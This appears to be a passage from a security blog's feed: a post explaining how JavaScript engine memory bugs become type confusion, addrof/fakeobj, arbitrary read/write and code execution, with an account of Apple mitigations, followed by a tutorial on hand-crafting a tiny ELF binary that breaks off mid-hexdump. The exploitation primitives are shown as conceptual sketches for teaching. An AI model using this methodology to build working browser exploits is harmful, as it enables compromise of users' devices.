<p>After the structure ID and a few flag bytes comes the <strong>butterfly</strong> pointer. The butterfly is a single pointer that points into the <em>middle</em> of an allocation:</p>
<pre><code>            butterfly
               |
               v
[ ...named properties... ][ length | capacity ][ elem 0 ][ elem 1 ][ ... ]
   grow to the LEFT          header word          grow to the RIGHT
</code></pre>
<p>To the right of the pointer live the indexed elements, the things you reach with <code>obj[0]</code>, <code>obj[1]</code>. To the left live the out-of-line named properties, the things you set with <code>obj.foo</code>. Right at the boundary sits a header word holding two 32-bit fields packed into 64 bits: the <strong>public length</strong> (the array&rsquo;s real length) and the <strong>vector length</strong> (its allocated capacity).</p>
<p>V8 expresses the same idea differently. The first field of a V8 object is its <strong>map</strong> pointer, a pointer to a <code>Map</code> object that describes the type and shape, followed by separate pointers to the properties and the elements. Whether the shape is named by a number (JSC&rsquo;s structure ID) or by a pointer (V8&rsquo;s map), the role is identical: it is the field that tells the engine &ldquo;this is what kind of object I am&rdquo;. Corrupt it and you have lied to the engine about a type. That is the whole game.</p>
<h2 id="the-bug-that-starts-everything">The bug that starts everything</h2>
<p>Every chain begins with one memory bug in the engine. They come in many flavors, a typing mistake in the JIT optimizer, a botched bounds-check elimination, an out-of-bounds access in an array builtin, but the most productive shape is one that lets us touch a single slot <em>just past</em> the end of an array. Here is why that one extra slot is so valuable.</p>
<p>Lay out an array of doubles and look at what sits next to it in memory:</p>
<pre><code>[ map / structure ][ length | capacity ][ d0 ][ d1 ][ d2 ][ d3 ][ map of the NEXT object ][ ... ]
 \______________ our float array ______________/        ^
                                                         one slot past the end
</code></pre>
<p>The element right after our array&rsquo;s last double is the header of whatever was allocated next, including its map or structure field. If the bug lets us read or write one element beyond the bounds, we can read and, crucially, <em>overwrite</em> the neighbor&rsquo;s map. Overwrite it with the map of a different type and the engine now treats that object as something it is not. That is a <strong>type confusion</strong>, and it is the pivot from a narrow memory bug to a general one. The specific bug only has to get us this far. From here on the recipe is engine methodology, not bug specifics.</p>
<h2 id="addrof-and-fakeobj">addrof and fakeobj</h2>
<p>Two primitives turn a type confusion into something you can program against. Neither is normally possible in JavaScript, which is the point. Both exist only because of the bug.</p>
<p><strong><code>addrof(obj)</code></strong> leaks the address of a JavaScript object. You are never supposed to learn where an object lives, but with the type confusion you can. Keep two arrays, one of objects and one of doubles, side by side. Put the target object into the object array, then use the confusion to make the engine read that array as if it held doubles. Reading element zero now hands you the raw pointer bits of the object, reinterpreted as a floating-point number. Convert that back to an integer and you have the address.</p>
<p>The float-to-integer conversion is just two views over the same bytes:</p>
<pre><code class="language-js">const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u64 = new BigUint64Array(buf);

const ftoi = (f) =&gt; { f64[0] = f; return u64[0]; };   // double bits -&gt; integer
const itof = (i) =&gt; { u64[0] = i; return f64[0]; };   // integer    -&gt; double bits
</code></pre>
<p><strong><code>fakeobj(addr)</code></strong> is the exact inverse. Instead of taking an object and revealing its address, it takes an address and hands you back a JavaScript object located <em>there</em>. You write the address you want as a double into a slot, then use the same confusion to make the engine treat that double as an object pointer. Now you hold a real, usable JS object whose memory you chose, and you can read and set its fields like any other.</p>
<pre><code class="language-js">// Sketch, not a working exploit: the confusion primitive is engine-specific.
const addr = addrof(victim);          // leak an address
const fake = fakeobj(someAddress);    // forge an object at an address we control
</code></pre>
<h2 id="from-fakeobj-to-arbitrary-read-and-write">From fakeobj to arbitrary read and write</h2>
<p><code>addrof</code> and <code>fakeobj</code> are not the goal, they are the tools for building the primitive we actually want: reading and writing any 64-bit word in the address space.</p>
<p>The trick is to hand-build a fake object inside memory you fully control, which is easy because the contents of a float array are entirely yours. You craft a sequence of doubles that, interpreted as an object, looks like an array whose <em>elements pointer</em> is a value you choose. Then you <code>fakeobj</code> it. Reading element zero of that fake object dereferences the pointer you planted, giving you an 8-byte read at any address you like. Writing element zero writes 8 bytes there instead.</p>
<pre><code class="language-js">// Conceptually:
function read64(where) {
    fake_array.set_elements_pointer(where);  // forged via fakeobj over controlled doubles
    return ftoi(fake_array[0]);              // engine dereferences our pointer for us
}

function write64(where, what) {
    fake_array.set_elements_pointer(where);
    fake_array[0] = itof(what);
}
</code></pre>
<p>With <code>read64</code> and <code>write64</code> the engine bug is, in effect, fully cashed out. We have arbitrary read and write across the process, subject only to caged regions like the gigacage. Everything from here is about turning memory control into instruction-pointer control.</p>
<h2 id="from-readwrite-to-code-execution">From read/write to code execution</h2>
<p>Arbitrary read/write does not yet run shellcode. We need executable memory we can write to, or a function pointer we can redirect.</p>
<p>For years this was almost free. A JIT compiler has to produce executable code at runtime, so the engine kept memory that was both writable and executable. The classic move was to instantiate a WebAssembly module, which mapped a fresh <strong>RWX</strong> page. The contents of the module were irrelevant, you just wanted the page to exist. Then you used your write primitive to drop shellcode into it and redirected a JIT-compiled function&rsquo;s code pointer at your bytes. One call later, your code ran.</p>
<p>That era is over. The mitigation that closed it is <strong>W^X</strong>: no page is writable and executable at the same time. The free RWX page is gone, and getting code execution after a clean read/write is now the hard part of a browser exploit, not the easy one.</p>
<h2 id="the-mitigations-that-make-a-working-bug-only-the-beginning">The mitigations that make a working bug only the beginning</h2>
<p>This is where a modern target, especially an Apple one, stops being mechanical. A working arbitrary read/write is necessary, but on current iOS it is nowhere near sufficient.</p>
<p><strong>Bulletproof JIT (iOS 10).</strong> Apple&rsquo;s first answer to writing JIT code without a permanent RWX page was to map one physical JIT page through <em>two</em> virtual mappings: one executable, one writable, with the writable mapping placed at an address the attacker is not supposed to know. The idea is that you can execute the code but cannot find where to write it. In practice it was not very durable, since recovering the writable mapping is enough to write your shellcode through it, but it set the direction.</p>
<p><strong>APRR (hardware W^X).</strong> Newer Apple silicon enforces the split in hardware, per thread. Even a page that looks RWX is never simultaneously writable and executable when you touch it, because a per-thread permission register gates the write side off at access time. When the runtime legitimately needs to patch JIT code, a routine flips the current thread&rsquo;s permission to writable, performs the copy, and flips it back. Two design choices make this miserable to abuse. First, the flip is <strong>per-thread</strong>, so you cannot run another thread into the brief writable window and race the copy. Second, the JIT memcpy is marked <code>always_inline</code>, so there is no tidy function pointer to jump to. It is melted into a much larger function full of other inlined routines. You can reach that big function&rsquo;s entry, but you then have to <em>survive</em> all the way to the inlined copy at its tail with exactly the right registers set up, and there is a check that the register carrying the permission value was not tampered with along the way. Landing in the middle is a crash, not a primitive.</p>
<p>The split itself is enforced by a small lookup. A page&rsquo;s <code>rwx</code> bits index into a per-thread APRR register that re-maps them to the <em>effective</em> permissions actually applied, and that mapping is what bakes in W^X: any entry that asks for write <em>and</em> execute comes back without the write bit.</p>
<table>
<thead>
<tr>
<th>Page table entry</th>
<th>Index</th>
<th>Effective (APRR)</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>---</code></td>
<td>0</td>
<td><code>---</code></td>
</tr>
<tr>
<td><code>--x</code></td>
<td>1</td>
<td><code>--x</code></td>
</tr>
<tr>
<td><code>-w-</code></td>
<td>2</td>
<td><code>-w-</code></td>
</tr>
<tr>
<td><code>-wx</code></td>
<td>3</td>
<td><code>--x</code></td>
</tr>
<tr>
<td><code>r--</code></td>
<td>4</td>
<td><code>r--</code></td>
</tr>
<tr>
<td><code>r-x</code></td>
<td>5</td>
<td><code>r-x</code></td>
</tr>
<tr>
<td><code>rw-</code></td>
<td>6</td>
<td><code>rw-</code></td>
</tr>
<tr>
<td><code>rwx</code></td>
<td>7</td>
<td><code>r-x</code></td>
</tr>
</tbody>
</table>
<p>The two interesting rows are the executable-and-writable ones, <code>-wx</code> and <code>rwx</code>: both lose their <code>w</code> in the effective column. To write into a JIT page the runtime must first flip the thread&rsquo;s APRR register so that slot maps back to a writable permission, do the copy, and flip it back, which is exactly the window the inlined <code>performJITMemcpy</code> opens and closes.</p>
<p><strong>The commpage.</strong> Both attacker and defender care about the <strong>commpage</strong>, a read-only page mapped into every process that holds frequently used routines and values. It is the Apple analogue of Windows&rsquo; <code>KUSER_SHARED_DATA</code>. It is also a quietly revealing artifact: Apple publishes the relevant source, but the entries at offsets <code>0x110</code> and <code>0x118</code>, the ones tied to the APRR machinery, are blanked out, a literal gap in the public code. Even &ldquo;open&rdquo; source hides the parts you can only recover by reversing.</p>
<p><strong>PAC.</strong> On top of all that, pointer authentication signs pointers with a hardware key, so you cannot forge a usable code pointer from a memory leak alone. We take it apart in <a href="/blog/pointer-authentication-arm64e/">a dedicated post</a>. And even once you do achieve code execution in the renderer, you are still inside a sandbox. The second half of a real chain is escaping it.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The core of JavaScript engine exploitation is mechanical and remarkably uniform across engines. One memory bug becomes a type confusion, the type confusion builds <code>addrof</code> and <code>fakeobj</code>, those build arbitrary read and write, and read/write becomes, or used to easily become, code execution. The encodings change between JSC and V8, the field that names an object&rsquo;s type is a number here and a pointer there, but the ladder is the same one every time.</p>
<p>What actually consumes the effort on a modern target is everything wrapped around that core: W^X, bulletproof JIT, APRR, pointer authentication, and the sandbox you still have to climb out of after the renderer falls. Finding and triggering the bug is the part you can teach in an afternoon. Turning it into a reliable exploit on a current iPhone is the part that is genuinely hard, and that asymmetry, a simple core wrapped in years of mitigation, is exactly what makes the work interesting.</p>
<div class="admonition tip">
<p>By the way, if you would rather watch than read: this material started life as a talk I gave (in French) at Quarks in the Shell 2023. The recording is on the <a href="/blog/javascript-engine-exploitation-methodology/">talk post</a>.</p>
</div>]]></description>
    </item>
    <item>
      <title>Building the smallest ELF program</title>
      <link>https://sigreturn.com/blog/building-the-smallest-elf-program/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/building-the-smallest-elf-program/</guid>
      <pubDate>Sun, 16 Jun 2024 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Reverse Engineering</category>
      <category>elf</category>
      <category>linux</category>
      <category>assembly</category>
      <category>x86-64</category>
      <description><![CDATA[<p>In this post we will have fun trying to create the smallest possible 64 bits Linux program (ELF binary) that simply outputs &ldquo;Hello world!&rdquo; when it is executed.</p>
<p>The idea here is to understand the compilation process, linking, how loader works, how <a href="https://en.wikipedia.org/wiki/Executable_and_Linkable_Format">ELF file format</a> is structured, and so on.</p>
<h2 id="state-of-the-art">State of the art</h2>
<p>So let&rsquo;s simply create a program in C that outputs our string. In this default case we will not optimize anything nor try to reduce our binary size.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;

void main(void)
{
    printf(&quot;Hello world!&quot;);
}
</code></pre>
<p>Let&rsquo;s compile it with <strong>GCC</strong> and run it:</p>
<pre><code class="language-bash">$ gcc smallest_elf.c -o smallest_elf.bin
$ ./smallest_elf.bin
Hello world!
</code></pre>
<p>Initial size: 16704 bytes.</p>
<p>The default compiled binary is quite big for only <strong>65</strong> bytes of written code. Why is that? Let&rsquo;s analyse out binary and check what we can remove to reduce its size.</p>
<h3 id="too-many-sections">Too many sections</h3>
<pre><code>.interp
.note.gnu.propert
.note.gnu.build-i
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.data
.bss
.comment
.symtab
.strtab
.shstrtab
</code></pre>
<p>Well first of all, our binary has <strong>30</strong> sections inside, we don&rsquo;t need all of them. We do not need relocations, symbols, or even PLT/GOT and a lot of other stuff. The compiler produced the default binary it would produce even for longer code.</p>
<div class="admonition tip">
<p>Use <code>readelf</code> to see the ELF&rsquo;s sections: <code>readelf -S smallest_elf.bin</code></p>
</div>
<h3 id="too-many-symbols">Too many symbols</h3>
<pre><code>0000000000003dc8 d _DYNAMIC
0000000000003fb8 d _GLOBAL_OFFSET_TABLE_
0000000000002000 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
000000000000215c r __FRAME_END__
0000000000002014 r __GNU_EH_FRAME_HDR
0000000000004010 D __TMC_END__
0000000000004010 B __bss_start
                 w __cxa_finalize@@GLIBC_2.2.5
0000000000004000 D __data_start
0000000000001100 t __do_global_dtors_aux
0000000000003dc0 d __do_global_dtors_aux_fini_array_entry
0000000000004008 D __dso_handle
0000000000003db8 d __frame_dummy_init_array_entry
                 w __gmon_start__
0000000000003dc0 d __init_array_end
0000000000003db8 d __init_array_start
00000000000011e0 T __libc_csu_fini
0000000000001170 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000004010 D _edata
0000000000004018 B _end
00000000000011e8 T _fini
0000000000001000 t _init
0000000000001060 T _start
0000000000004010 b completed.8061
0000000000004000 W data_start
0000000000001090 t deregister_tm_clones
0000000000001140 t frame_dummy
0000000000001149 T main
                 U printf@@GLIBC_2.2.5
00000000000010c0 t register_tm_clones
</code></pre>
<p>Our program has symbols, that&rsquo;s additional information we don&rsquo;t need to display our string.</p>
<div class="admonition tip">
<p>Use <code>nm</code> to see the ELF&rsquo;s symbols: <code>nm smallest_elf.bin</code></p>
</div>
<h3 id="too-much-code">Too much code</h3>
<p>First of all, the only executable section we need is <code>.text</code>, that&rsquo;s where our main code is. But we notice there are instructions outside this section:</p>
<pre><code>0000000000001000 &lt;.init&gt;:
    1000:   f3 0f 1e fa             endbr64
    1004:   48 83 ec 08             sub    rsp,0x8
    1008:   48 8b 05 d9 2f 00 00    mov    rax,QWORD PTR [rip+0x2fd9]
    100f:   48 85 c0                test   rax,rax
    1012:   74 02                   je     1016 &lt;__cxa_finalize@plt-0x2a&gt;
    1014:   ff d0                   call   rax
    1016:   48 83 c4 08             add    rsp,0x8
    101a:   c3                      ret
</code></pre>
<p>Also, there are <strong>388</strong> bytes of instructions in <code>.text</code> section, that&rsquo;s a lot considering we just want to output &ldquo;Hello world!&rdquo;.</p>
<div class="admonition tip">
<p>Use <code>objdump</code> to see the ELF&rsquo;s executable section&rsquo;s instructions: <code>objdump -d smallest_elf.bin</code></p>
</div>
<h3 id="too-much-empty-space">Too much empty space</h3>
<p>We also notice something interesting in our binary, there is a <strong>lot</strong> of empty space, filled with zeroes.</p>
<pre><code>00000600: 0000 0000 0000 0000 0000 0000 0000 0000
00000610: 0000 0000 0000 0000 0000 0000 0000 0000
00000620: 0000 0000 0000 0000 0000 0000 0000 0000
00000630: 0000 0000 0000 0000 0000 0000 0000 0000
00000640: 0000 0000 0000 0000 0000 0000 0000 0000
00000650: 0000 0000 0000 0000 0000 0000 0000 0000
00000660: 0000 0000 0000 0000 0000 0000 0000 0000
00000670: 0000 0000 0000 0000 0000 0000 0000 0000
[...]
</code></pre>
<p>For example the space above has <strong>2544</strong> bytes of zeroes in total. There are several empty spaces like this.</p>
<div class="admonition tip">
<p>Use <code>xxd</code> to see a file&rsquo;s hexadecimal data: <code>xxd smallest_elf.bin</code></p>
</div>
<h2 id="quick-optimizations">Quick optimizations</h2>
<p>We will go ahead to try and reduce our executable&rsquo;s size, we will implement several methods so you can get an idea of what can be done to produce the smallest possible binary by manipulating compiled binary.</p>
<h3 id="strip-symbols">Strip symbols</h3>
<p>First of all, let&rsquo;s remove all the symbols and relocation information from the executable.</p>
<pre><code class="language-bash">$ nm smallest_elf.bin
nm: smallest_elf.bin: no symbols
</code></pre>
<div class="admonition tip">
<p>Use <code>strip</code> to strip an executable from all its symbols and relocation information: <code>strip -s smallest_elf.bin</code></p>
</div>
<p>After the operation, the size of the binary goes from to <strong>16704</strong> to <strong>14472</strong>.</p>
<p>New size: 14472 bytes.</p>
<h3 id="remove-unnecessary-sections">Remove unnecessary sections</h3>
<p>We can also remove some sections that are unnecessary to the main task of our program, for example <code>.data</code>, or <code>.gnu.version</code>.</p>
<p>Indeed, we do not need those sections, for example our string &ldquo;Hello world!&rdquo; is already stored in <code>.rodata</code> section :</p>
<pre><code>00002000: 0100 0200 4865 6c6c 6f20 776f 726c 6421  ....Hello world!
</code></pre>
<div class="admonition tip">
<p>Use <code>objcopy</code> to remove a specific section from an ELF executable: <code>objcopy --remove-section .data smallest_elf.bin</code></p>
</div>
<h2 id="major-modifications">Major modifications</h2>
<p>We will go ahead to try and reduce our executable&rsquo;s size even more, we will implement several methods so you can get an idea of what can be done to produce the smallest possible binary while still keeping its initial function : displaying a string.</p>
<div class="admonition warning">
<p>Keep in mind that we&rsquo;re doing this for fun, and for the technical challenge. In real life, you should not release programs that you have modified that way.</p>
</div>
<h3 id="get-rid-of-programming-language">Get rid of programming language</h3>
<p>We all now programming languages are converted to assembly language by the compiler during the compilation process and the code can even be optimized automatically. The output may result in more instructions than needed for our task.</p>
<p>Let&rsquo;s re-write our code in assembly language!</p>
<pre><code class="language-asm">section .data
    msg:    db &quot;Hello world&quot;, 33, 10, 0
    format: db &quot;%s&quot;, 10, 0

section .text
    global main

main:
    extern printf
    push rbp
    mov rbp, rsp
    mov rdi, msg
    call printf
    pop rbp
    ret
</code></pre>
<p>We assemble the code with <code>nasm</code> then link the object with <code>gcc</code> then run it.</p>
<pre><code class="language-bash">$ nasm -f elf64 smallest_elf.asm &amp;&amp; gcc smallest_elf.o -o smallest_elf.bin -no-pie
$ ./smallest_elf.bin
Hello world!
</code></pre>
<p>New size: 14368 bytes.</p>
<p>We only reduced our file size by <strong>104</strong> bytes by completely rewriting it in assembly. Why?</p>
<p>Well by giving the assembled code object to <code>gcc</code> we only told it what the <code>.text</code> content should look like, but all the other sections and additional data are still here. In order to get rid of it, we will have to link our binary ourselves, getting rid of <code>gcc</code> routines.</p>
<h2 id="getting-straight-to-the-point">Getting straight to the point</h2>
<p>We have rewritten the whole file in assembly and compiling it with GCC, but we&rsquo;re kind of stuck here. How do we reduce the size even more? Maybe trying another compiler? Reducing code even more?</p>
<p>Let&rsquo;s get straight to the point: we need the program to display &ldquo;Hello world!&rdquo;, that&rsquo;s it. We don&rsquo;t want external dependencies like the <code>printf()</code> function.</p>
<p>Let&rsquo;s rewrite the whole assembly code and remove all external references and symbols!</p>
<h3 id="removing-external-references">Removing external references</h3>
<p>We will make the following changes to our assembly code:</p>
<ul>
<li>Removing any call to external functions like <code>printf()</code>. Instead, we&rsquo;ll use direct system calls like <code>write()</code> and <code>exit()</code>.</li>
<li>Removing references to a &ldquo;main&rdquo; function, we don&rsquo;t need that, we don&rsquo;t need &ldquo;functions&rdquo; in our program.</li>
<li>Removing prologues, epilogues, and stack frames: yes, those useless bytes at the beginning and end of our code, why would we need them here?</li>
<li>The whole code will be strictly about printing our buffer and exiting the program.</li>
</ul>
<pre><code class="language-asm">global _start

section .data
        msg:    db &quot;Hello world&quot;, 33, 10, 0

section .text

_start:
        mov rdi, 1      ; standard output
        mov rsi, msg    ; buffer to print
        mov rdx, 14     ; size of the buffer

        mov rax, 1      ; set write syscall

        syscall         ; call write

        mov rdi, 0      ; value to return
        mov rax, 0x3C   ; set exit syscall

        syscall         ; call exit
</code></pre>
<div class="admonition note">
<p>You can notice that I&rsquo;m using the exit system call to properly stop the program after printing the buffer. Otherwise, the program would crash, but the buffer will still be printed. Up to you to decide if you consider the crash important or not in this exercise.</p>
<p>In my case, I chose to consider the program should always properly exit.</p>
</div>
<h3 id="get-rid-of-compilers">Get rid of compilers</h3>
<p>We don&rsquo;t have any C code anymore, why would we even need a compiler? Let&rsquo;s get rid of <code>gcc</code> and directly link the code ourselves.</p>
<pre><code class="language-bash">$ nasm -f elf64 smallest_elf.asm
$ ld -m elf_x86_64 smallest_elf.o -o smallest_elf.bin
</code></pre>
<p>Let&rsquo;s run it and check:</p>
<pre><code class="language-bash">$ ./smallest_elf.bin
Hello world!
</code></pre>
<p>With the rewritten assembly code and linking without using any compiler, we reduced the size to <strong>8488</strong> bytes.</p>
<p>New size: 8488 bytes.</p>
<h3 id="get-rid-of-the-data-section">Get rid of the data section</h3>
<p>We initially put our &ldquo;Hello world!&rdquo; string in the <code>.data</code> section, but at this point we&rsquo;re not following any convention and we&rsquo;ll just remove the <code>.data</code> section to put our string directly inside the <code>.text</code> code section. Yeah it&rsquo;s a bit weird but don&rsquo;t worry, it will work.</p>
<pre><code class="language-asm">global _start

section .text

_start:
        mov rdi, 1      ; standard output
        mov rsi, msg    ; buffer to print
        mov rdx, 14     ; size of the buffer

        mov rax, 1      ; set write syscall

        syscall         ; call write

        mov rdi, 0      ; value to return
        mov rax, 0x3C   ; set exit syscall

        syscall         ; call exit
msg:
        db      &quot;Hello world&quot;, 33, 10, 0
</code></pre>
<p>Doing this small manipulation, we manage to divide by two the last size of the binary!</p>
<p>New size: 4360 bytes.</p>
<h3 id="analysing-the-situation">Analysing the situation</h3>
<p>We did pretty much everything we could to reduce the binary size:</p>
<ul>
<li>Writing directly assembly code</li>
<li>No external function, no stack frames, only code section</li>
<li>No compiler, directly linking</li>
<li>Stripping the symbols</li>
</ul>
<p>At this point, there isn&rsquo;t much more we can do in a conventional way to reduce the binary size. By the way, why is it still that big?</p>
<p>We can notice through <code>readelf</code> command that our binary still has a lot of stuff inside of it. We have the <code>.shstrtab</code> section header, and a <strong>huge</strong> amount of empty space, because some tables and sections have been encoded as &ldquo;empty spaces&rdquo; filled with null bytes in the binary.</p>
<p>Nearly <strong>92%</strong> of our binary is filled with useless empty spaces.</p>
<p>Check the binary composition with <code>readelf -a smallest_elf.bin</code> and the actual data in hexadecimal with <code>xxd smallest_elf.bin</code>. Notice all the zero bytes.</p>
<h2 id="going-further">Going further</h2>
<p>Some step in the linking process will produce this kind of ELF binary filled with a lot of empty space, that will simply increase our binary size.</p>
<p>Now we will have to build our binary ourselves, manually, without relying on the assembler or the linker.</p>
<h3 id="identifying-the-needed-information">Identifying the needed information</h3>
<p>There is a lot of useless information in our binary so let&rsquo;s start by identification strictly what we need:</p>
<ul>
<li>The ELF header, otherwise it would not be considered an an ELF by the system and could not be loaded</li>
<li>Our actual code</li>
</ul>
<p>This portion at the beginning is our header:</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 0010 4000 0000 0000  ..&gt;.......@.....
00000020: 4000 0000 0000 0000 4810 0000 0000 0000  @.......H.......
00000030: 0000 0000 4000 3800 0200 4000 0300 0200  ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000                      ........
</code></pre>
<p>And this portion is our code:</p>
<pre><code>00001000: bf01 0000 0048 be27 1040 0000 0000 00ba  .....H.'.@......
00001010: 0e00 0000 b801 0000 000f 05bf 0000 0000  ................
00001020: b83c 0000 000f 0548 656c 6c6f 2077 6f72  .&lt;.....Hello wor
00001030: 6c64 210a 00                             ld!..
</code></pre>
<p>And that&rsquo;s it, we don&rsquo;t really care what all the remaining is.</p>
<p>Let&rsquo;s manually construct our new binary with only these two blocks of data. Use any method you like to do that, I used simple Linux commands.</p>
<pre><code class="language-bash">$ head -c 120 smallest_elf.bin &gt; new_smallest_elf.bin.header # extract header
$ tail -c 264 smallest_elf.bin &gt; tmp.bin # extract end of file starting from our code
$ head -c 53 tmp.bin &gt; new_smallest_elf.bin.code # extract our code from it
$ cat new_smallest_elf.bin.header new_smallest_elf.bin.code &gt; new_smallest_elf.bin # assemble both blocks into one final ELF executable
</code></pre>
<p>So this is what we get:</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 0010 4000 0000 0000  ..&gt;.......@.....
00000020: 4000 0000 0000 0000 4810 0000 0000 0000  @.......H.......
00000030: 0000 0000 4000 3800 0200 4000 0300 0200  ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 bf01 0000 0048 be27  .............H.'
00000080: 1040 0000 0000 00ba 0e00 0000 b801 0000  .@..............
00000090: 000f 05bf 0000 0000 b83c 0000 000f 0548  .........&lt;.....H
000000a0: 656c 6c6f 2077 6f72 6c64 210a 00         ello world!..
</code></pre>
<p>Obviously, a lot of information from the headers is inaccurate since we modified the whole structure of the file and the program will not execute:</p>
<pre><code class="language-bash">$ ./new_smallest_elf.bin
-bash: ./new_smallest_elf.bin: cannot execute binary file: Exec format error
</code></pre>
<p>Let&rsquo;s check what&rsquo;s happening with <code>readelf</code>:</p>
<pre><code class="language-bash">$ readelf -a new_smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401000
  Start of program headers:          64 (bytes into file)
  Start of section headers:          4168 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         2
  Size of section headers:           64 (bytes)
  Number of section headers:         3
  Section header string table index: 2
readelf: Error: Reading 192 bytes extends past end of file for section headers
readelf: Error: Section headers are not available!
readelf: Error: Reading 112 bytes extends past end of file for program headers

There is no dynamic section in this file.
readelf: Error: Reading 112 bytes extends past end of file for program headers
</code></pre>
<p>Several issues identified here:</p>
<ul>
<li>Entry point address incorrect: our new code starts at offset <strong>0x78</strong>, not <strong>0x1000</strong>.</li>
<li>Start of section headers incorrect: we do not have any section header, this should be <strong>zero</strong>.</li>
<li>Number of program headers incorrect: we only have <strong>1</strong> program header and not <strong>2</strong>.</li>
<li>Size of section headers incorrect: we do not have any section header, this should be <strong>zero</strong>.</li>
<li>Number of section headers incorrect: we do not have any section header, this should be <strong>zero</strong>.</li>
<li>Section header string table index: we do not have any section header, this should be <strong>zero</strong>.</li>
</ul>
<p>We also need to adjust several stuff in the program header:</p>
<ul>
<li>Virtual address of program needs to be changed from <strong>0x400000</strong> to <strong>0x400078</strong> because this is where our program starts. Not aligned? We don&rsquo;t care.</li>
<li>Permissions of the segment in the program header is read-only (<strong>0x004</strong>) and needs to be readable, writable and executable for simplicity (<strong>0x007</strong>).</li>
</ul>
<p>We manually apply all those modification directly through a hexadecimal editor and run <code>readelf</code> again:</p>
<pre><code class="language-bash">$ readelf -a new_smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400078
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

There are no section groups in this file.

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000078 0x0000000000400078 0x0000000000400000
                 0x00000000000000b0 0x00000000000000b0  RWE    0x1000

There is no dynamic section in this file.

There are no relocations in this file.
No processor specific unwind information to decode

Dynamic symbol information is not available for displaying symbols.

No version information found in this file.
</code></pre>
<p>This time, no error. But we still need to adjust one small detail inside our actual code. Indeed, we assembled the code before making all those modifications and we are calling the <code>write</code> function: <code>write(1, buffer, 13);</code></p>
<p>Indeed, the &ldquo;Hello world!&rdquo; buffer is no longer located at offset <strong>0x1027</strong>, the new offset is <strong>0x9f</strong>.</p>
<p>Here is the final modified binary (modified bytes versus the previous dump):</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..&gt;.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 bf01 0000 0048 be9f  .............H..
00000080: 0040 0000 0000 00ba 0e00 0000 b801 0000  .@..............
00000090: 000f 05bf 0000 0000 b83c 0000 000f 0548  .........&lt;.....H
000000a0: 656c 6c6f 2077 6f72 6c64 210a            ello world!.
</code></pre>
<p>Let&rsquo;s test it now:</p>
<pre><code class="language-bash">./new_smallest_elf.bin
Hello world!
</code></pre>
<p>New size: 172 bytes.</p>
<p>We have hit a new record by reducing our initial program size from <strong>16704</strong> to only <strong>172</strong> bytes.</p>
<p>We could call it a day, but hey, can we actually do better?</p>
<h2 id="going-even-further">Going even further</h2>
<p>Let&rsquo;s try to shrink even more our executable. But in order to do that, let&rsquo;s modify a little bit the initial exercise. We no longer need to display &ldquo;Hello world!&rdquo; string, but just compile <strong>any</strong> ELF executable, smallest as possible.</p>
<p>In order to be considered a valid executable:</p>
<ul>
<li>It must execute at least one assembly instruction</li>
<li>It must not crash</li>
</ul>
<p>Let&rsquo;s take our functional header and remove all the custom code at offset <strong>0x78</strong>. We will append new code there.</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..&gt;.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
